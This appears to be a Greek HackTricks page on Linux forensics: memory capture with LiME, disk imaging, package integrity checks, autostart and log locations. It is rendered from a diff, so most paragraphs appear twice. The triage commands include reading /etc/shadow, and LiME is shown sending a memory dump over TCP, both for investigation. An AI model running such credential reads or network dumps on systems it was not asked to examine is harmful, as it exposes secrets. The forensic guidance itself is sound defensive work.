Μάθετε και εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε και εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε PDF, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στο** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ή στο [**telegram group**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Αρχική Συλλογή Πληροφοριών
### Βασικές Πληροφορίες
Καταρχάς, συνιστάται να έχετε ένα **USB** με **καλά γνωστά δυαδικά και βιβλιοθήκες** (μπορείτε απλά να πάρετε το Ubuntu και να αντιγράψετε τους φακέλους _/bin_, _/sbin_, _/lib_ και _/lib64_), στη συνέχεια να τοποθετήσετε το USB και να τροποποιήσετε τις μεταβλητές περιβάλλοντος για να χρησιμοποιήσετε αυτά τα δυαδικά:
Πρώτα απ' όλα, συνιστάται να έχετε κάποιο **USB** με **καλά γνωστά δυαδικά και βιβλιοθήκες σε αυτό** (μπορείτε απλά να πάρετε το ubuntu και να αντιγράψετε τους φακέλους _/bin_, _/sbin_, _/lib,_ και _/lib64_), στη συνέχεια να το τοποθετήσετε και να τροποποιήσετε τις μεταβλητές περιβάλλοντος για να χρησιμοποιήσετε αυτά τα δυαδικά:
```bash
export PATH=/mnt/usb/bin:/mnt/usb/sbin
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
```
Αφού έχετε ρυθμίσει το σύστημα να χρησιμοποιεί καλά και γνωστά δυαδικά αρχεία, μπορείτε να ξεκινήσετε την **εξαγωγή μερικών βασικών πληροφοριών**:
Μόλις έχετε ρυθμίσει το σύστημα να χρησιμοποιεί καλές και γνωστές δυαδικές εκδόσεις, μπορείτε να αρχίσετε **να εξάγετε κάποιες βασικές πληροφορίες**:
```bash
date #Date and time (Clock may be skewed, Might be at a different timezone)
uname -a #OS info
@ -49,47 +50,47 @@ cat /etc/passwd #Unexpected data?
cat /etc/shadow #Unexpected data?
find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory
```
#### Υπούλη πληροφορία
#### Suspicious information
Κατά την απόκτηση των βασικών πληροφοριών, πρέπει να ελέγξετε για περίεργα πράγματα όπως:
Ενώ αποκτάτε τις βασικές πληροφορίες, θα πρέπει να ελέγξετε για περίεργα πράγματα όπως:
- **Διεργασίες ρίζας** συνήθως τρέχουν με χαμηλά PIDS, οπότε αν βρείτε μια διεργασία ρίζας με ένα μεγάλο PID μπορείτε να υποψιαστείτε
- Ελέγξτε τις **εγγεγραμμένες συνδέσεις** χρηστών χωρίς κέλυφος μέσα στο `/etc/passwd`
- Ελέγξτε τις **κατακερματισμένες κωδικοποιήσεις** μέσα στο `/etc/shadow` για χρήστες χωρίς κέλυφος
* **Διεργασίες Root** συνήθως εκτελούνται με χαμηλά PIDS, οπότε αν βρείτε μια διεργασία root με μεγάλο PID μπορεί να υποψιαστείτε
* Ελέγξτε για **καταγεγραμμένες συνδέσεις** χρηστών χωρίς shell μέσα στο `/etc/passwd`
* Ελέγξτε για **hash κωδικών πρόσβασης** μέσα στο `/etc/shadow` για χρήστες χωρίς shell
### Ανάκτηση Αναμνηστικού
### Memory Dump
Για να αποκτήσετε τη μνήμη του τρέχοντος συστήματος, συνιστάται να χρησιμοποιήσετε το [**LiME**](https://github.com/504ensicsLabs/LiME).\
Για να το **μεταγλωτίσετε**, πρέπει να χρησιμοποιήσετε το **ίδιο πυρήνα** που χρησιμοποιεί η μηχανή θύματος.
Για να αποκτήσετε τη μνήμη του τρέχοντος συστήματος, συνιστάται να χρησιμοποιήσετε [**LiME**](https://github.com/504ensicsLabs/LiME).\
Για να **συγκεντρώσετε** το, πρέπει να χρησιμοποιήσετε τον **ίδιο πυρήνα** που χρησιμοποιεί η μηχανή του θύματος.
{% hint style="info" %}
Να θυμάστε ότι **δεν μπορείτε να εγκαταστήσετε το LiME ή οτιδήποτε άλλο** στη μηχανή θύματος καθώς θα προκαλέσει πολλές αλλαγές σε αυτήν
Θυμηθείτε ότι **δεν μπορείτε να εγκαταστήσετε το LiME ή οτιδήποτε άλλο** στη μηχανή του θύματος καθώς θα κάνει πολλές αλλαγές σε αυτήν
{% endhint %}
Έτσι, αν έχετε μια ταυτόσημη έκδοση του Ubuntu μπορείτε να χρησιμοποιήσετε `apt-get install lime-forensics-dkms`\
Σε άλλες περιπτώσεις, πρέπει να κατεβάσετε το [**LiME**](https://github.com/504ensicsLabs/LiME) από το github και να το μεταγλωτίσετε με τις σωστές κεφαλίδες πυρήνα. Για να **ανακτήσετε τις ακριβείς κεφαλίδες πυρήνα** της μηχανής θύματος, μπορείτε απλά να **αντιγράψετε τον κατάλογο** `/lib/modules/<έκδοση πυρήνα>` στη μηχανή σας, και στη συνέχεια να **μεταγλωτίσετε** το LiME χρησιμοποιώντας αυτές.
Σε άλλες περιπτώσεις, πρέπει να κατεβάσετε [**LiME**](https://github.com/504ensicsLabs/LiME) από το github και να το συγκεντρώσετε με τους σωστούς επικεφαλής πυρήνα. Για να **αποκτήσετε τους ακριβείς επικεφαλής πυρήνα** της μηχανής του θύματος, μπορείτε απλά να **αντιγράψετε τον κατάλογο** `/lib/modules/<kernel version>` στη μηχανή σας, και στη συνέχεια να **συγκεντρώσετε** το LiME χρησιμοποιώντας τους:
```bash
make -C /lib/modules/<kernel version>/build M=$PWD
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
```
Το LiME υποστηρίζει 3 **μορφές**:
LiME υποστηρίζει 3 **μορφές**:
* Raw (κάθε τμήμα συνενωμένο μαζί)
* Raw (κάθε τμήμα συνδυασμένο μαζί)
* Padded (ίδιο με το raw, αλλά με μηδενικά στα δεξιά bits)
* Lime (συνιστώμενη μορφή με μεταδεδομένα)
Το LiME μπορεί επίσης να χρησιμοποιηθεί για να **στείλει την αντιγραφή μέσω δικτύου** αντί να την αποθηκεύσει στο σύστημα χρησιμοποιώντας κάτι σαν: `path=tcp:4444`
LiME μπορεί επίσης να χρησιμοποιηθεί για **να στείλει το dump μέσω δικτύου** αντί να το αποθηκεύσει στο σύστημα χρησιμοποιώντας κάτι όπως: `path=tcp:4444`
### Εικονική αντιγραφή δίσκου
### Disk Imaging
#### Απενεργοποίηση
#### Shutting down
Καταρχάς, θα πρέπει να **απενεργοποιήσετε το σύστημα**. Αυτό δεν είναι πάντα μια επιλογή καθώς μερικές φορές το σύστημα θα είναι ένας παραγωγικός διακομιστής που η εταιρεία δεν μπορεί να επιτρέψει να απενεργοποιηθεί.\
Υπάρχουν **2 τρόποι** απενεργοποίησης του συστήματος, μια **κανονική απενεργοποίηση** και μια **απενεργοποίηση "τραβώντας το φις"**. Η πρώτη θα επιτρέψει στις **διεργασίες να τερματιστούν όπως συνήθως** και το **σύστημα αρχείων** να **συγχρονιστεί**, αλλά θα επιτρέψει επίσης στο πιθανό **κακόβουλο λογισμικό** να **καταστρέψει αποδεικτικά στοιχεία**. Η προσέγγιση "τραβώντας το φις" μπορεί να έχει **κάποια απώλεια πληροφοριών** (δεν θα χαθεί πολύ από τις πληροφορίες καθώς έχουμε ήδη πάρει μια εικόνα της μνήμης) και το **κακόβουλο λογισμικό δεν θα έχει καμία ευκαιρία** να κάνει κάτι γι' αυτό. Επομένως, αν υποψιάζεστε ότι μπορεί να υπάρχει **κακόβουλο λογισμικό**, απλά εκτελέστε την εντολή **`sync`** στο σύστημα και τραβήξτε το φις.
Πρώτα απ' όλα, θα χρειαστεί να **κλείσετε το σύστημα**. Αυτό δεν είναι πάντα επιλογή καθώς μερικές φορές το σύστημα θα είναι ένας παραγωγικός διακομιστής που η εταιρεία δεν μπορεί να αντέξει να κλείσει.\
Υπάρχουν **2 τρόποι** για να κλείσετε το σύστημα, μια **κανονική απενεργοποίηση** και μια **"τραβήξτε το βύσμα" απενεργοποίηση**. Η πρώτη θα επιτρέψει στις **διαδικασίες να τερματιστούν όπως συνήθως** και το **filesystem** να είναι **συγχρονισμένο**, αλλά θα επιτρέψει επίσης την πιθανή **κακόβουλη λογισμική** να **καταστρέψει αποδείξεις**. Η προσέγγιση "τραβήξτε το βύσμα" μπορεί να φέρει **κάποια απώλεια πληροφοριών** (όχι πολλές πληροφορίες θα χαθούν καθώς έχουμε ήδη πάρει μια εικόνα της μνήμης) και η **κακόβουλη λογισμική** δεν θα έχει καμία ευκαιρία να κάνει κάτι γι' αυτό. Επομένως, αν **υποψιάζεστε** ότι μπορεί να υπάρχει **κακόβουλη λογισμική**, απλώς εκτελέστε την **εντολή** **`sync`** στο σύστημα και τραβήξτε το βύσμα.
#### Λήψη εικόνας του δίσκου
#### Taking an image of the disk
Είναι σημαντικό να σημειώσετε ότι **πριν συνδέσετε τον υπολογιστή σας σε οτιδήποτε σχετίζεται με την υπόθεση**, πρέπει να είστε σίγουροι ότι θα **είναι προσαρτημένος ως μόνο για ανάγνωση** για να αποφύγετε την τροποποίηση οποιασδήποτε πληροφορίας.
Είναι σημαντικό να σημειωθεί ότι **πριν συνδέσετε τον υπολογιστή σας σε οτιδήποτε σχετίζεται με την υπόθεση**, πρέπει να είστε σίγουροι ότι θα **τοποθετηθεί ως μόνο για ανάγνωση** για να αποφύγετε την τροποποίηση οποιασδήποτε πληροφορίας.
```bash
#Create a raw copy of the disk
dd if=<subject device> of=<image file> bs=512
@ -98,9 +99,9 @@ dd if=<subject device> of=<image file> bs=512
dcfldd if=<subject device> of=<image file> bs=512 hash=<algorithm> hashwindow=<chunk size> hashlog=<hash file>
dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes
```
### Προανάλυση εικόνας δίσκου
### Disk Image προ-ανάλυση
Δημιουργία εικόνας δίσκου χωρίς περισσότερα δεδομένα.
Εικόνα μιας δισκέτας χωρίς περισσότερα δεδομένα.
```bash
#Find out if it's a disk image using "file" command
file disk.img
@ -156,36 +157,36 @@ ThisisTheMasterSecret
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τη βοήθεια των **πιο προηγμένων** εργαλείων της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Αναζήτηση γνωστού Malware
## Αναζητήστε γνωστό κακόβουλο λογισμικό
### Τροποποιημένα Αρχεία Συστήματος
### Τροποποιημένα αρχεία συστήματος
Το Linux προσφέρει εργαλεία για τη διασφάλιση της ακεραιότητας των συστατικών του συστήματος, το οποίο είναι κρίσιμο για τον εντοπισμό ενδεχόμενα προβληματικών αρχείων.
Το Linux προσφέρει εργαλεία για να διασφαλίσει την ακεραιότητα των συστατικών του συστήματος, κρίσιμη για την ανίχνευση δυνητικά προβληματικών αρχείων.
* **Συστήματα βασισμένα σε RedHat**: Χρησιμοποιήστε την εντολή `rpm -Va` για μια συνολική έλεγχο.
* **Συστήματα βασισμένα σε Debian**: `dpkg --verify` για αρχικό έλεγχο, ακολουθούμενο από `debsums | grep -v "OK$"` (μετά την εγκατάσταση του `debsums` με `apt-get install debsums`) για την εντοπισμό οποιωνδήποτε προβλημάτων.
* **Συστήματα βασισμένα σε RedHat**: Χρησιμοποιήστε `rpm -Va` για μια ολοκληρωμένη έλεγχο.
* **Συστήματα βασισμένα σε Debian**: `dpkg --verify` για αρχική επαλήθευση, ακολουθούμενη από `debsums | grep -v "OK$"` (μετά την εγκατάσταση του `debsums` με `apt-get install debsums`) για να εντοπίσετε τυχόν προβλήματα.
### Εργαλεία Εντοπισμού Malware/Rootkit
### Ανιχνευτές κακόβουλου λογισμικού/Rootkit
Διαβάστε την παρακάτω σελίδα για να μάθετε για εργαλεία που μπορεί να είναι χρήσιμα για τον εντοπισμό malware:
Διαβάστε την παρακάτω σελίδα για να μάθετε για εργαλεία που μπορεί να είναι χρήσιμα για την εύρεση κακόβουλου λογισμικού:
{% content-ref url="malware-analysis.md" %}
[malware-analysis.md](malware-analysis.md)
{% endcontent-ref %}
## Αναζήτηση εγκατεστημένων προγραμμάτων
## Αναζητήστε εγκατεστημένα προγράμματα
Για να αναζητήσετε αποτελεσματικά εγκατεστημένα προγράμματα τόσο σε συστήματα Debian όσο και RedHat, σκεφτείτε να εκμεταλλευτείτε τα αρχεία καταγραφής συστήματος και τις βάσεις δεδομένων σε συνδυασμό με χειροκίνητους ελέγχους σε κοινούς καταλόγους.
Για να αναζητήσετε αποτελεσματικά εγκατεστημένα προγράμματα σε συστήματα Debian και RedHat, εξετάστε το ενδεχόμενο να αξιοποιήσετε τα αρχεία καταγραφής συστήματος και τις βάσεις δεδομένων παράλληλα με χειροκίνητους ελέγχους σε κοινές καταλόγους.
* Για το Debian, ελέγξτε τα _**`/var/lib/dpkg/status`**_ και _**`/var/log/dpkg.log`**_ για λεπτομέρειες σχετικά με τις εγκαταστάσεις πακέτων, χρησιμοποιώντας το `grep` για να φιλτράρετε συγκεκριμένες πληροφορίες.
* Οι χρήστες RedHat μπορούν να ερευνήσουν τη βάση δεδομένων RPM με την εντολή `rpm -qa --root=/mntpath/var/lib/rpm` για να καταχωρίσουν τα εγκατεστημένα πακέτα.
* Για Debian, ελέγξτε _**`/var/lib/dpkg/status`**_ και _**`/var/log/dpkg.log`**_ για να αποκτήσετε λεπτομέρειες σχετικά με τις εγκαταστάσεις πακέτων, χρησιμοποιώντας `grep` για να φιλτράρετε συγκεκριμένες πληροφορίες.
* Οι χρήστες RedHat μπορούν να ερωτήσουν τη βάση δεδομένων RPM με `rpm -qa --root=/mntpath/var/lib/rpm` για να καταγράψουν τα εγκατεστημένα πακέτα.
Για να ανακαλύψετε λογισμικό που έχει εγκατασταθεί χειροκίνητα ή εκτός αυτών των διαχειριστών πακέτων, εξετάστε καταλόγους όπως _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_ και _**`/sbin`**_. Συνδυάστε τις λίστες καταλόγων με εντολές ειδικές για το σύστημα για να εντοπίσετε εκτελέσιμα που δεν σχετίζονται με γνωστά πακέτα, βελτιώνοντας έτσι την αναζήτησή σας για όλα τα εγκατεστημένα προγράμματα.
Για να αποκαλύψετε λογισμικό που έχει εγκατασταθεί χειροκίνητα ή εκτός αυτών των διαχειριστών πακέτων, εξερευνήστε καταλόγους όπως _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, και _**`/sbin`**_. Συνδυάστε τις καταχωρίσεις καταλόγων με εντολές συγκεκριμένες για το σύστημα για να εντοπίσετε εκτελέσιμα που δεν σχετίζονται με γνωστά πακέτα, ενισχύοντας την αναζήτησή σας για όλα τα εγκατεστημένα προγράμματα.
```bash
# Debian package and log details
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
@ -204,22 +205,22 @@ find / -type f -executable | grep <something>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της παγκόσμιας κοινότητας.\
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τη βοήθεια των **πιο προηγμένων** εργαλείων της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Ανάκτηση Διαγραμμένων Εκτελέσιμων Αρχείων
Φανταστείτε ένα διεργασία που εκτελέστηκε από το /tmp/exec και στη συνέχεια διαγράφηκε. Είναι δυνατόν να το εξάγετε
Φανταστείτε μια διαδικασία που εκτελέστηκε από το /tmp/exec και στη συνέχεια διαγράφηκε. Είναι δυνατόν να την εξαγάγετε.
```bash
cd /proc/3746/ #PID with the exec file deleted
head -1 maps #Get address of the file. It was 08048000-08049000
dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it
```
## Επιθεώρηση τοποθεσιών εκκίνησης αυτόματης εκκίνησης
## Εξέταση Τοποθεσιών Αυτόματης Εκκίνησης
### Προγραμματισμένες εργασίες
### Προγραμματισμένα Καθήκοντα
```bash
cat /var/spool/cron/crontabs/* \
/var/spool/cron/atjobs \
@ -235,74 +236,94 @@ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Libra
```
### Υπηρεσίες
Διαδρομές όπου μπορεί να εγκατασταθεί κακόβουλο λογισμικό ως υπηρεσία:
Διαδρομές όπου ένα κακόβουλο λογισμικό θα μπορούσε να εγκατασταθεί ως υπηρεσία:
- **/etc/inittab**: Καλεί σενάρια εκκίνησης όπως το rc.sysinit, καθοδηγώντας προς περαιτέρω σενάρια εκκίνησης.
- **/etc/rc.d/** και **/etc/rc.boot/**: Περιέχουν σενάρια για την εκκίνηση υπηρεσιών, με το δεύτερο να βρίσκεται σε παλαιότερες εκδόσεις Linux.
- **/etc/init.d/**: Χρησιμοποιείται σε συγκεκριμένες εκδόσεις Linux όπως το Debian για την αποθήκευση σεναρίων εκκίνησης.
- Οι υπηρεσίες μπορεί επίσης να ενεργοποιηθούν μέσω **/etc/inetd.conf** ή **/etc/xinetd/**, ανάλογα με την εκδοχή του Linux.
- **/etc/systemd/system**: Ένας κατάλογος για σενάρια συστήματος και διαχείρισης υπηρεσιών.
- **/etc/systemd/system/multi-user.target.wants/**: Περιέχει συνδέσμους προς υπηρεσίες που πρέπει να ξεκινήσουν σε ένα επίπεδο εκτέλεσης πολλαπλών χρηστών.
- **/usr/local/etc/rc.d/**: Για προσαρμοσμένες ή υπηρεσίες τρίτων.
- **\~/.config/autostart/**: Για εφαρμογές εκκίνησης αυτόματα που είναι συγκεκριμένες για τον χρήστη, μπορεί να είναι ένα μέρος κρυψώνας για κακόβουλο λογισμικό που στοχεύει τον χρήστη.
- **/lib/systemd/system/**: Αρχεία μονάδας προεπιλογής για ολόκληρο το σύστημα που παρέχονται από εγκατεστημένα πακέτα.
* **/etc/inittab**: Καλεί σενάρια αρχικοποίησης όπως το rc.sysinit, κατευθύνοντας περαιτέρω σε σενάρια εκκίνησης.
* **/etc/rc.d/** και **/etc/rc.boot/**: Περιέχουν σενάρια για την εκκίνηση υπηρεσιών, το τελευταίο βρίσκεται σε παλαιότερες εκδόσεις Linux.
* **/etc/init.d/**: Χρησιμοποιείται σε ορισμένες εκδόσεις Linux όπως το Debian για την αποθήκευση σεναρίων εκκίνησης.
* Οι υπηρεσίες μπορούν επίσης να ενεργοποιηθούν μέσω **/etc/inetd.conf** ή **/etc/xinetd/**, ανάλογα με την παραλλαγή του Linux.
* **/etc/systemd/system**: Ένας φάκελος για σενάρια διαχείρισης συστήματος και υπηρεσιών.
* **/etc/systemd/system/multi-user.target.wants/**: Περιέχει συνδέσμους σε υπηρεσίες που θα πρέπει να ξεκινούν σε επίπεδο εκκίνησης πολλαπλών χρηστών.
* **/usr/local/etc/rc.d/**: Για προσαρμοσμένες ή τρίτων υπηρεσίες.
* **\~/.config/autostart/**: Για αυτόματες εφαρμογές εκκίνησης που σχετίζονται με τον χρήστη, οι οποίες μπορεί να είναι κρυψώνες για κακόβουλο λογισμικό που στοχεύει χρήστες.
* **/lib/systemd/system/**: Προεπιλεγμένα αρχεία μονάδας σε επίπεδο συστήματος που παρέχονται από εγκατεστημένα πακέτα.
### Μονάδες πυρήνα
### Μονάδες Πυρήνα
Οι μονάδες πυρήνα Linux, συχνά χρησιμοποιούμενες από κακόβουλο λογισμικό ως στοιχεία rootkit, φορτώνονται κατά την εκκίνηση του συστήματος. Οι κατάλογοι και τα αρχεία που είναι κρίσιμα για αυτές τις μονάδες περιλαμβάνουν:
Οι μονάδες πυρήνα Linux, που συχνά χρησιμοποιούνται από κακόβουλο λογισμικό ως στοιχεία rootkit, φορτώνονται κατά την εκκίνηση του συστήματος. Οι φάκελοι και τα αρχεία που είναι κρίσιμα για αυτές τις μονάδες περιλαμβάνουν:
- **/lib/modules/$(uname -r)**: Κρατά μονάδες για την τρέχουσα έκδοση του πυρήνα.
- **/etc/modprobe.d**: Περιέχει αρχεία ρύθμισης για τον έλεγχο της φόρτωσης μονάδων.
- **/etc/modprobe** και **/etc/modprobe.conf**: Αρχεία για γενικές ρυθμίσεις μονάδων.
* **/lib/modules/$(uname -r)**: Περιέχει μονάδες για την τρέχουσα έκδοση του πυρήνα.
* **/etc/modprobe.d**: Περιέχει αρχεία ρυθμίσεων για τον έλεγχο της φόρτωσης μονάδων.
* **/etc/modprobe** και **/etc/modprobe.conf**: Αρχεία για παγκόσμιες ρυθμίσεις μονάδων.
### Άλλες Τοποθεσίες Αυτόματης Εκκίνησης
Το Linux χρησιμοποιεί διάφορα αρχεία για την αυτόματη εκτέλεση προγραμμάτων κατά την σύνδεση του χρήστη, πιθανώς κρύβοντας κακόβουλο λογισμικό:
Το Linux χρησιμοποιεί διάφορα αρχεία για την αυτόματη εκτέλεση προγραμμάτων κατά την είσοδο του χρήστη, ενδεχομένως φιλοξενώντας κακόβουλο λογισμικό:
- **/etc/profile.d/**\*, **/etc/profile**, και **/etc/bash.bashrc**: Εκτελούνται για οποιαδήποτε σύνδεση χρήστη.
- **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, και **\~/.config/autostart**: Αρχεία συγκεκριμένα για τον χρήστη που εκτελούνται κατά τη σύνδεσή τους.
- **/etc/rc.local**: Εκτελείται μετά την εκκίνηση όλων των υπηρεσιών συστήματος, σηματοδοτώντας το τέλος της μετάβασης σε ένα πολλαπλών χρηστών περιβάλλον.
* **/etc/profile.d/**\*, **/etc/profile**, και **/etc/bash.bashrc**: Εκτελούνται για οποιαδήποτε είσοδο χρήστη.
* **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, και **\~/.config/autostart**: Αρχεία που σχετίζονται με τον χρήστη που εκτελούνται κατά την είσοδό τους.
* **/etc/rc.local**: Εκτελείται μετά την εκκίνηση όλων των υπηρεσιών του συστήματος, σηματοδοτώντας το τέλος της μετάβασης σε περιβάλλον πολλαπλών χρηστών.
## Εξέταση Αρχείων Καταγραφής
## Εξέταση Καταγραφών
Τα συστήματα Linux καταγράφουν τις δραστηριότητες των χρηστών και τα συμβάντα του συστήματος μέσω διαφόρων αρχείων καταγραφής. Αυτά τα αρχεία καταγραφής είναι ζωτικής σημασίας για την αναγνώριση μη εξουσιοδοτημένης πρόσβασης, μολύνσεις από κακόβουλο λογισμικό και άλλα περιστατικά ασφάλειας. Κύρια αρχεία καταγραφής περιλαμβάνουν:
Τα συστήματα Linux παρακολουθούν τις δραστηριότητες χρηστών και τα γεγονότα του συστήματος μέσω διαφόρων αρχείων καταγραφής. Αυτές οι καταγραφές είναι κρίσιμες για την αναγνώριση μη εξουσιοδοτημένης πρόσβασης, λοιμώξεων από κακόβουλο λογισμικό και άλλων περιστατικών ασφαλείας. Κύρια αρχεία καταγραφής περιλαμβάνουν:
- **/var/log/syslog** (Debian) ή **/var/log/messages** (RedHat): Καταγράφουν μηνύματα και δραστηριότητες σε ολόκληρο το σύστημα.
- **/var/log/auth.log** (Debian) ή **/var/log/secure** (RedHat): Καταγράφουν προσπάθειες πιστοποίησης, επιτυχείς και αποτυχημένες συνδέσεις.
- Χρησιμοποιήστε την εντολή `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` για να φιλτράρετε σχετικά γεγονότα πιστοποίησης.
- **/var/log/boot.log**: Περιέχει μηνύματα εκκίνησης του συστήματος.
- **/var/log/maillog** ή **/var/log/mail.log**: Καταγράφουν δραστηριότητες του διακομιστή email, χρήσιμα για την παρακολούθηση υπηρεσιών σχετικών με email.
- **/var/log/kern.log**: Αποθηκεύει μηνύματα πυρήνα, συμπεριλαμβανομένων σφαλμάτων και προειδοποιήσεων.
- **/var/log/dmesg**: Κρατά μηνύματα οδηγών συσκευών.
- **/var/log/faillog**: Καταγράφει αποτυχημένες προσπάθειες σύνδεσης, βοηθώντας στην έρευνα παραβίασης ασφάλειας.
- **/var/log/cron**: Καταγράφει τις εκτελέσεις των εργασιών cron.
- **/var/log/daemon.log**: Καταγράφει τις δραστηριότητες υπηρεσιών φόντου.
- **/var/log/btmp**: Τεκμηριώνει αποτυχημένες προσπάθειες σύνδεσης.
- **/var/log/httpd/**: Περιέχει αρχεία καταγραφής σφαλμάτων και πρόσβασης του Apache HTTPD.
- **/var/log/mysqld.log** ή **/var/log/mysql.log**: Καταγράφουν δραστηριότητες της βάσης δεδομένων MySQL.
- **/var/log/xferlog**: Καταγράφει μεταφορές αρχείων FTP.
- **/var/log/**: Πάντα ελέγξτε για απροσδόκητα αρχεία καταγραφής εδώ.
* **/var/log/syslog** (Debian) ή **/var/log/messages** (RedHat): Καταγράφουν μηνύματα και δραστηριότητες σε επίπεδο συστήματος.
* **/var/log/auth.log** (Debian) ή **/var/log/secure** (RedHat): Καταγράφουν προσπάθειες αυθεντικοποίησης, επιτυχείς και αποτυχημένες συνδέσεις.
* Χρησιμοποιήστε `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` για να φιλτράρετε σχετικές αυθεντικοποιητικές εκδηλώσεις.
* **/var/log/boot.log**: Περιέχει μηνύματα εκκίνησης του συστήματος.
* **/var/log/maillog** ή **/var/log/mail.log**: Καταγράφει δραστηριότητες του διακομιστή email, χρήσιμο για την παρακολούθηση υπηρεσιών που σχετίζονται με email.
* **/var/log/kern.log**: Αποθηκεύει μηνύματα πυρήνα, συμπεριλαμβανομένων σφαλμάτων και προειδοποιήσεων.
* **/var/log/dmesg**: Περιέχει μηνύματα οδηγών συσκευών.
* **/var/log/faillog**: Καταγράφει αποτυχημένες προσπάθειες σύνδεσης, βοηθώντας στις έρευνες παραβίασης ασφαλείας.
* **/var/log/cron**: Καταγράφει εκτελέσεις εργασιών cron.
* **/var/log/daemon.log**: Παρακολουθεί δραστηριότητες υπηρεσιών παρασκηνίου.
* **/var/log/btmp**: Καταγράφει αποτυχημένες προσπάθειες σύνδεσης.
* **/var/log/httpd/**: Περιέχει αρχεία καταγραφής σφαλμάτων και πρόσβασης του Apache HTTPD.
* **/var/log/mysqld.log** ή **/var/log/mysql.log**: Καταγράφει δραστηριότητες της βάσης δεδομένων MySQL.
* **/var/log/xferlog**: Καταγράφει μεταφορές αρχείων FTP.
* **/var/log/**: Ελέγξτε πάντα για απροσδόκητες καταγραφές εδώ.
{% hint style="info" %}
